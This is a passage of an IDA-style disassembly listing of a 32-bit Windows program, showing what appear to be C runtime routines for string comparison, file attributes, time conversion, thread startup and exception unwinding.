dh, dh jz short loc_42A6AF test edx, 0FF0000h jz short loc_42A6A2 test edx, 0FF000000h jz short loc_42A69A jmp short loc_42A661 ; --------------------------------------------------------------------------- loc_42A69A: ; CODE XREF: sub_42A5E0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_42A6A2: ; CODE XREF: sub_42A5E0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_42A6AF: ; CODE XREF: sub_42A5E0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_42A6B8: ; CODE XREF: sub_42A5E0+72j ; sub_42A5E0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_42A5E0 endp ; =============== S U B R O U T I N E ======================================= sub_42A6C0 proc near ; CODE XREF: sub_40541D+344p ; sub_42B0E9+29p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call dword_43706C ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_42A6E0 call dword_437170 ; RtlGetLastWin32Error push eax call sub_42F0A6 pop ecx loc_42A6DC: ; CODE XREF: sub_42A6C0+41j or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_42A6E0: ; CODE XREF: sub_42A6C0+Dj test al, 1 jz short loc_42A703 test [esp+arg_4], 2 jz short loc_42A703 call sub_42F119 mov dword ptr [eax], 0Dh call sub_42F122 mov dword ptr [eax], 5 jmp short loc_42A6DC ; --------------------------------------------------------------------------- loc_42A703: ; CODE XREF: sub_42A6C0+22j ; sub_42A6C0+29j xor eax, eax retn sub_42A6C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42A706(double) sub_42A706 proc near ; CODE XREF: sub_405C99+512p ; sub_40A9FE+1922p ... var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_450E50 call sub_4303F3 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_42A78C call sub_4302BB pop ecx test eax, eax pop ecx jle short loc_42A76F cmp eax, 2 jle short loc_42A761 cmp eax, 3 jnz short loc_42A76F fld [ebp+arg_0] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] push 0Ch ; int call sub_42FBC8 add esp, 10h jmp short loc_42A7D1 ; --------------------------------------------------------------------------- loc_42A761: ; CODE XREF: sub_42A706+3Fj push esi push ebx call sub_4303F3 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_42A7D1 ; --------------------------------------------------------------------------- loc_42A76F: ; CODE XREF: sub_42A706+3Aj ; sub_42A706+44j fld [ebp+arg_0] fadd dbl_437430 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_42A7C9 ; --------------------------------------------------------------------------- loc_42A78C: ; CODE XREF: sub_42A706+2Fj call sub_430280 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_42A7AF loc_42A7A1: ; CODE XREF: sub_42A706+ACj push esi push ebx call sub_4303F3 fld [ebp+var_8] pop ecx pop ecx jmp short loc_42A7D1 ; --------------------------------------------------------------------------- loc_42A7AF: ; CODE XREF: sub_42A706+99j test bl, 20h jnz short loc_42A7A1 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_42A7C9: ; CODE XREF: sub_42A706+84j call sub_42FC1C add esp, 1Ch loc_42A7D1: ; CODE XREF: sub_42A706+59j ; sub_42A706+67j ... pop esi pop ebx leave retn sub_42A706 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A7D5 proc near ; CODE XREF: sub_405C99+30Fp ; sub_41DB6B+35p ... var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call dword_43713C ; GetLocalTime lea eax, [ebp+var_20] push eax call dword_43721C ; GetSystemTime mov ax, [ebp+var_16] cmp ax, word_676912 jnz short loc_42A83A mov ax, [ebp+var_18] cmp ax, word_676910 jnz short loc_42A83A mov ax, [ebp+var_1A] cmp ax, word_67690E jnz short loc_42A83A mov ax, [ebp+var_1E] cmp ax, word_67690A jnz short loc_42A83A mov ax, [ebp+var_20] cmp ax, word_676908 jnz short loc_42A83A mov eax, dword_676900 jmp short loc_42A87F ; --------------------------------------------------------------------------- loc_42A83A: ; CODE XREF: sub_42A7D5+28j ; sub_42A7D5+35j ... lea eax, [ebp+var_CC] push eax call dword_437218 ; GetTimeZoneInformation cmp eax, 0FFFFFFFFh jz short loc_42A867 cmp eax, 2 jnz short loc_42A863 cmp [ebp+var_32], 0 jz short loc_42A863 cmp [ebp+var_24], 0 jz short loc_42A863 push 1 pop eax jmp short loc_42A86A ; --------------------------------------------------------------------------- loc_42A863: ; CODE XREF: sub_42A7D5+7Aj ; sub_42A7D5+81j ... xor eax, eax jmp short loc_42A86A ; --------------------------------------------------------------------------- loc_42A867: ; CODE XREF: sub_42A7D5+75j or eax, 0FFFFFFFFh loc_42A86A: ; CODE XREF: sub_42A7D5+8Cj ; sub_42A7D5+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_676908 movsd movsd movsd movsd pop edi mov dword_676900, eax pop esi loc_42A87F: ; CODE XREF: sub_42A7D5+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_43046C mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_42A8AF mov [ecx], eax locret_42A8AF: ; CODE XREF: sub_42A7D5+D6j leave retn sub_42A7D5 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A8C0 proc near ; CODE XREF: sub_405C99+33p ; sub_405C99+D6p ... var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_6769A0 cmp dword ptr [eax+8], 0 jnz short loc_42A913 mov al, 0FFh mov edi, edi loc_42A8DC: ; CODE XREF: sub_42A8C0+28j ; sub_42A8C0+48j or al, al jz short loc_42A90E mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_42A8DC sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_42A8DC sbb al, al sbb al, 0FFh loc_42A90E: ; CODE XREF: sub_42A8C0+1Ej movsx eax, al jmp short loc_42A98B ; --------------------------------------------------------------------------- loc_42A913: ; CODE XREF: sub_42A8C0+16j lock inc dword_676EDC cmp dword_676ED8, 0 jg short loc_42A927 push 0 jmp short loc_42A93C ; --------------------------------------------------------------------------- loc_42A927: ; CODE XREF: sub_42A8C0+61j lock dec dword_676EDC push 13h call sub_42DAEF mov [esp+10h+var_10], 1 loc_42A93C: ; CODE XREF: sub_42A8C0+65j mov eax, 0FFh xor ebx, ebx nop loc_42A944: ; CODE XREF: sub_42A8C0+90j ; sub_42A8C0+A8j or al, al jz short loc_42A96F mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_42A944 push eax push ebx call sub_43059D mov ebx, eax add esp, 4 call sub_43059D add esp, 4 cmp bl, al jz short loc_42A944 sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A96F: ; CODE XREF: sub_42A8C0+86j mov ebx, eax pop eax or eax, eax jnz short loc_42A97F lock dec dword_676EDC jmp short loc_42A989 ; --------------------------------------------------------------------------- loc_42A97F: ; CODE XREF: sub_42A8C0+B4j push 13h call sub_42DB50 add esp, 4 loc_42A989: ; CODE XREF: sub_42A8C0+BDj mov eax, ebx loc_42A98B: ; CODE XREF: sub_42A8C0+51j pop ebx pop esi pop edi leave retn sub_42A8C0 endp ; =============== S U B R O U T I N E ======================================= sub_42A990 proc near ; CODE XREF: sub_4306B8+21p ; sub_430B07+9p ; DATA XREF: ... call sub_42A9A8 call sub_4306B8 mov dword_67691C, eax call sub_430668 fnclex retn sub_42A990 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_42A9A8 proc near ; CODE XREF: sub_42A990p mov eax, offset sub_430A91 mov off_453820, offset sub_43073B mov off_45381C, eax mov off_453824, offset sub_4307A1 mov off_453828, offset sub_4306E1 mov off_45382C, offset sub_430789 mov off_453830, eax retn sub_42A9A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A9E0 proc near ; CODE XREF: sub_405C99+517p ; sub_40A9FE+1929p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_42A9E0 endp ; =============== S U B R O U T I N E ======================================= sub_42AA07 proc near ; CODE XREF: sub_4097B9+2D5p ; sub_4097B9+302p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_42AA1E loc_42AA14: ; CODE XREF: sub_42AA07+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_42AA14 loc_42AA1E: ; CODE XREF: sub_42AA07+Bj sub eax, ecx sar eax, 1 dec eax retn sub_42AA07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AA24 proc near ; CODE XREF: sub_4097B9+171p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, offset dword_676EDC push edi push esi call dword_437224 ; InterlockedIncrement mov edi, dword_437220 xor ebx, ebx cmp dword_676ED8, ebx jz short loc_42AA54 push esi call edi ; dword_437220 push 13h call sub_42DAEF pop ecx push 1 pop ebx loc_42AA54: ; CODE XREF: sub_42AA24+20j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_42AA81 add esp, 0Ch mov [ebp+arg_8], eax test ebx, ebx jz short loc_42AA76 push 13h call sub_42DB50 pop ecx jmp short loc_42AA79 ; --------------------------------------------------------------------------- loc_42AA76: ; CODE XREF: sub_42AA24+46j push esi call edi ; dword_437220 loc_42AA79: ; CODE XREF: sub_42AA24+50j mov eax, [ebp+arg_8] pop edi pop esi pop ebx pop ebp retn sub_42AA24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AA81 proc near ; CODE XREF: sub_42AA24+39p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_42AB4F mov edi, [ebp+arg_8] cmp edi, esi jz loc_42AB7C cmp dword_6769A8, esi jnz short loc_42AAD2 cmp edi, esi jbe loc_42AB7C loc_42AAB1: ; CODE XREF: sub_42AA81+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_42AB7C inc eax inc edx inc edx cmp eax, edi jb short loc_42AAB1 jmp loc_42AB7C ; --------------------------------------------------------------------------- loc_42AAD2: ; CODE XREF: sub_42AA81+26j mov ebx, [ebp+arg_4] mov esi, dword_437184 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_6769B8 call esi ; dword_437184 test eax, eax jnz loc_42AB7B call dword_437170 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_42AB0D loc_42AAFD: ; CODE XREF: sub_42AA81+CCj ; sub_42AA81+F8j call sub_42F119 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_42AB7C ; --------------------------------------------------------------------------- loc_42AB0D: ; CODE XREF: sub_42AA81+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_42AB15: ; CODE XREF: sub_42AA81+B4j mov cl, [eax] test cl, cl jz short loc_42AB37 mov edx, off_4533B8 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_42AB2C inc eax loc_42AB2C: ; CODE XREF: sub_42AA81+A8j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_42AB15 loc_42AB37: ; CODE XREF: sub_42AA81+98j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_6769B8 call esi ; dword_437184 test eax, eax jnz short loc_42AB7C jmp short loc_42AAFD ; --------------------------------------------------------------------------- loc_42AB4F: ; CODE XREF: sub_42AA81+Fj cmp dword_6769A8, esi jnz short loc_42AB62 push [ebp+arg_4] call sub_4293A0 pop ecx jmp short loc_42AB7C ; --------------------------------------------------------------------------- loc_42AB62: ; CODE XREF: sub_42AA81+D4j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_6769B8 call dword_437184 ; MultiByteToWideChar cmp eax, esi jz short loc_42AAFD loc_42AB7B: ; CODE XREF: sub_42AA81+6Bj dec eax loc_42AB7C: ; CODE XREF: sub_42AA81+1Aj ; sub_42AA81+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_42AA81 endp ; =============== S U B R O U T I N E ======================================= sub_42AB81 proc near ; CODE XREF: sub_409FAF+Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi push 74h push 1 xor edi, edi call sub_42B39A mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42ABDC push esi call sub_42E4DB mov eax, [esp+0Ch+arg_0] pop ecx push esi push 4 push esi push offset sub_42ABF8 push [esp+18h+arg_4] mov [esi+48h], eax mov eax, [esp+1Ch+arg_8] push edi mov [esi+4Ch], eax call dword_437180 ; CreateThread mov edi, eax test edi, edi mov [esi+4], edi jz short loc_42ABD4 push edi call dword_437228 ; ResumeThread cmp eax, 0FFFFFFFFh jnz short loc_42ABF3 loc_42ABD4: ; CODE XREF: sub_42AB81+45j call dword_437170 ; RtlGetLastWin32Error mov edi, eax loc_42ABDC: ; CODE XREF: sub_42AB81+13j push esi call sub_4298F2 test edi, edi pop ecx jz short loc_42ABEE push edi call sub_42F0A6 pop ecx loc_42ABEE: ; CODE XREF: sub_42AB81+64j or eax, 0FFFFFFFFh jmp short loc_42ABF5 ; --------------------------------------------------------------------------- loc_42ABF3: ; CODE XREF: sub_42AB81+51j mov eax, edi loc_42ABF5: ; CODE XREF: sub_42AB81+70j pop edi pop esi retn sub_42AB81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42ABF8 proc near ; DATA XREF: sub_42AB81+24o var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_437438 push offset sub_42ADC4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov esi, [ebp+arg_0] push esi push dword_453240 call dword_43722C ; TlsSetValue test eax, eax jnz short loc_42AC3A push 10h call sub_42C67C pop ecx loc_42AC3A: ; CODE XREF: sub_42ABF8+38j mov eax, off_450E6C test eax, eax jz short loc_42AC45 call eax ; nullsub_2 loc_42AC45: ; CODE XREF: sub_42ABF8+49j and [ebp+var_4], 0 push dword ptr [esi+4Ch] call dword ptr [esi+48h] pop ecx call sub_42AC8B or [ebp+var_4], 0FFFFFFFFh xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_42ABF8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-1Ch], ecx push eax push ecx call sub_430C27 pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-1Ch] call sub_430B45 ; =============== S U B R O U T I N E ======================================= sub_42AC8B proc near ; CODE XREF: sub_42ABF8+58p mov eax, off_450E70 test eax, eax jz short loc_42AC96 call eax ; nullsub_2 loc_42AC96: ; CODE XREF: sub_42AC8B+7j push esi call sub_42E4EE mov esi, eax test esi, esi jnz short loc_42ACAA push 10h call sub_42C67C pop ecx loc_42ACAA: ; CODE XREF: sub_42AC8B+15j mov eax, [esi+4] cmp eax, 0FFFFFFFFh jz short loc_42ACB9 push eax call dword_437044 ; CloseHandle loc_42ACB9: ; CODE XREF: sub_42AC8B+25j push esi call sub_42E555 pop ecx push 0 call dword_437174 ; ExitThread pop esi retn sub_42AC8B endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42ACCC proc near ; CODE XREF: sub_42ADC4+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_42ACE4 push [ebp+arg_0] call sub_436300 ; RtlUnwind loc_42ACE4: ; DATA XREF: sub_42ACCC+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42ACCC endp ; =============== S U B R O U T I N E ======================================= sub_42ACEC proc near ; DATA XREF: sub_42AD0E+Ao ; sub_42AD76+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_42AD0D mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_42AD0D: ; CODE XREF: sub_42ACEC+10j retn sub_42ACEC endp ; =============== S U B R O U T I N E ======================================= sub_42AD0E proc near ; CODE XREF: sub_42ADC4+67p ; sub_42ADC4+A7p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_42ACEC push large dword ptr fs:0 mov large fs:0, esp loc_42AD2B: ; CODE XREF: sub_42AD0E:loc_42AD66j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_42AD68 cmp esi, [esp+1Ch+arg_4] jz short loc_42AD68 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_42AD66 push 101h mov eax, [ebx+esi*4+8] call sub_42ADA2 call dword ptr [ebx+esi*4+8] loc_42AD66: ; CODE XREF: sub_42AD0E+44j jmp short loc_42AD2B ; --------------------------------------------------------------------------- loc_42AD68: ; CODE XREF: sub_42AD0E+2Aj ; sub_42AD0E+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_42AD0E endp ; =============== S U B R O U T I N E ======================================= sub_42AD76 proc near ; CODE XREF: sub_4318B1+3Fp xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_42ACEC jnz short locret_42AD98 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_42AD98 mov eax, 1 locret_42AD98: ; CODE XREF: sub_42AD76+10j ; sub_42AD76+1Bj retn sub_42AD76 endp ; =============== S U B R O U T I N E ======================================= sub_42AD99 proc near ; CODE XREF: sub_431B80+1Ep ; sub_431B80+40p push ebx push ecx mov ebx, offset dword_450E74 jmp short loc_42ADAC sub_42AD99 endp ; =============== S U B R O U T I N E ======================================= sub_42ADA2 proc near ; CODE XREF: sub_42AD0E+4Fp ; sub_42ADC4+78p push ebx push ecx mov ebx, offset dword_450E74 mov ecx, [ebp+8] loc_42ADAC: ; CODE XREF: sub_42AD99+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_42ADA2 endp ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42ADC4 proc near ; DATA XREF: .text:0040A51Eo ; sub_40A5A4+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_42AE64 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_42ADF7: ; CODE XREF: sub_42ADC4+90j cmp esi, 0FFFFFFFFh jz short loc_42AE5D lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42AE4B push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42AE4B js short loc_42AE56 mov edi, [ebx+8] push ebx call sub_42ACCC add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_42AD0E add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_42ADA2 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42AE4B: ; CODE XREF: sub_42ADC4+40j ; sub_42ADC4+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_42ADF7 ; --------------------------------------------------------------------------- loc_42AE56: ; CODE XREF: sub_42ADC4+54j mov eax, 0 jmp short loc_42AE79 ; --------------------------------------------------------------------------- loc_42AE5D: ; CODE XREF: sub_42ADC4+36j mov eax, 1 jmp short loc_42AE79 ; --------------------------------------------------------------------------- loc_42AE64: ; CODE XREF: sub_42ADC4+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_42AD0E add esp, 8 pop ebp mov eax, 1 loc_42AE79: ; CODE XREF: sub_42ADC4+97j ; sub_42ADC4+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42ADC4 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_42AD0E add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42AEA0 proc near ; CODE XREF: sub_40A62E+29p ; sub_40A662+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_42AF1A mov dh, [ecx+1] test dh, dh jz short loc_42AF07 loc_42AEB8: ; CODE XREF: sub_42AEA0+52j ; sub_42AEA0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_42AEDA test al, al jz short loc_42AED4 loc_42AEC9: ; CODE XREF: sub_42AEA0+32j mov al, [esi] inc esi loc_42AECC: ; CODE XREF: sub_42AEA0+3Fj cmp al, dl jz short loc_42AEDA test al, al jnz short loc_42AEC9 loc_42AED4: ; CODE XREF: sub_42AEA0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_42AEDA: ; CODE XREF: sub_42AEA0+23j ; sub_42AEA0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_42AECC lea edi, [esi-1] loc_42AEE4: ; CODE XREF: sub_42AEA0+63j mov ah, [ecx+2] test ah, ah jz short loc_42AF13 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_42AEB8 mov al, [ecx+3] test al, al jz short loc_42AF13 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_42AEE4 jmp short loc_42AEB8 ; --------------------------------------------------------------------------- loc_42AF07: ; CODE XREF: sub_42AEA0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_42B1A6 ; --------------------------------------------------------------------------- loc_42AF13: ; CODE XREF: sub_42AEA0+49j ; sub_42AEA0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_42AF1A: ; CODE XREF: sub_42AEA0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_42AEA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AF20 proc near ; CODE XREF: sub_40A9FE+869Cp ; sub_40A9FE+86A6p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push esi xor esi, esi cmp dword_6769A8, esi push edi mov [ebp+var_8], esi jnz short loc_42AF5E mov eax, [ebp+arg_0] mov edx, eax cmp byte ptr [eax], 0 jz loc_42B050 loc_42AF42: ; CODE XREF: sub_42AF20+37j mov cl, [edx] cmp cl, 41h jl short loc_42AF53 cmp cl, 5Ah jg short loc_42AF53 add cl, 20h mov [edx], cl loc_42AF53: ; CODE XREF: sub_42AF20+27j ; sub_42AF20+2Cj inc edx cmp byte ptr [edx], 0 jnz short loc_42AF42 jmp loc_42B050 ; --------------------------------------------------------------------------- loc_42AF5E: ; CODE XREF: sub_42AF20+12j mov edi, offset dword_676EDC push edi call dword_437224 ; InterlockedIncrement cmp dword_676ED8, esi jz short loc_42AF8A push edi call dword_437220 ; InterlockedDecrement push 13h call sub_42DAEF pop ecx mov [ebp+var_4], 1 jmp short loc_42AF8D ; --------------------------------------------------------------------------- loc_42AF8A: ; CODE XREF: sub_42AF20+50j mov [ebp+var_4], esi loc_42AF8D: ; CODE XREF: sub_42AF20+68j mov eax, dword_6769A8 cmp eax, esi jnz short loc_42AFD3 cmp [ebp+var_4], esi jz short loc_42AFA5 push 13h call sub_42DB50 pop ecx jmp short loc_42AFAC ; --------------------------------------------------------------------------- loc_42AFA5: ; CODE XREF: sub_42AF20+79j push edi call dword_437220 ; InterlockedDecrement loc_42AFAC: ; CODE XREF: sub_42AF20+83j mov eax, [ebp+arg_0] mov edx, eax cmp byte ptr [eax], 0 jz loc_42B050 loc_42AFBA: ; CODE XREF: sub_42AF20+AFj mov cl, [edx] cmp cl, 41h jl short loc_42AFCB cmp cl, 5Ah jg short loc_42AFCB add cl, 20h mov [edx], cl loc_42AFCB: ; CODE XREF: sub_42AF20+9Fj ; sub_42AF20+A4j inc edx cmp byte ptr [edx], 0 jnz short loc_42AFBA jmp short loc_42B050 ; --------------------------------------------------------------------------- loc_42AFD3: ; CODE XREF: sub_42AF20+74j push ebx push 1 push esi push esi push esi push 0FFFFFFFFh push [ebp+arg_0] mov esi, 100h push esi push eax call sub_430D9F mov ebx, eax add esp, 20h test ebx, ebx jz short loc_42B02C push ebx call sub_4297B8 test eax, eax pop ecx mov [ebp+var_8], eax jz short loc_42B02C push 1 push 0 push ebx push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_6769A8 call sub_430D9F add esp, 20h test eax, eax jz short loc_42B02C push [ebp+var_8] push [ebp+arg_0] call sub_42A5D0 pop ecx pop ecx loc_42B02C: ; CODE XREF: sub_42AF20+D1j ; sub_42AF20+DFj ... cmp [ebp+var_4], 0 pop ebx jz short loc_42B03D push 13h call sub_42DB50 pop ecx jmp short loc_42B044 ; --------------------------------------------------------------------------- loc_42B03D: ; CODE XREF: sub_42AF20+111j push edi call dword_437220 ; InterlockedDecrement loc_42B044: ; CODE XREF: sub_42AF20+11Bj push [ebp+var_8] call sub_4298F2 mov eax, [ebp+arg_0] pop ecx loc_42B050: ; CODE XREF: sub_42AF20+1Cj ; sub_42AF20+39j ... pop edi pop esi leave retn sub_42AF20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B060 proc near ; CODE XREF: sub_40A9FE+620Bp ; sub_40A9FE+6230p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_42B081 xor eax, eax jmp short loc_42B083 ; --------------------------------------------------------------------------- loc_42B081: ; CODE XREF: sub_42B060+1Bj mov eax, edi loc_42B083: ; CODE XREF: sub_42B060+1Fj cld pop edi leave retn sub_42B060 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B087 proc near ; CODE XREF: sub_40A9FE+4B19p ; sub_424EAB+12Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch 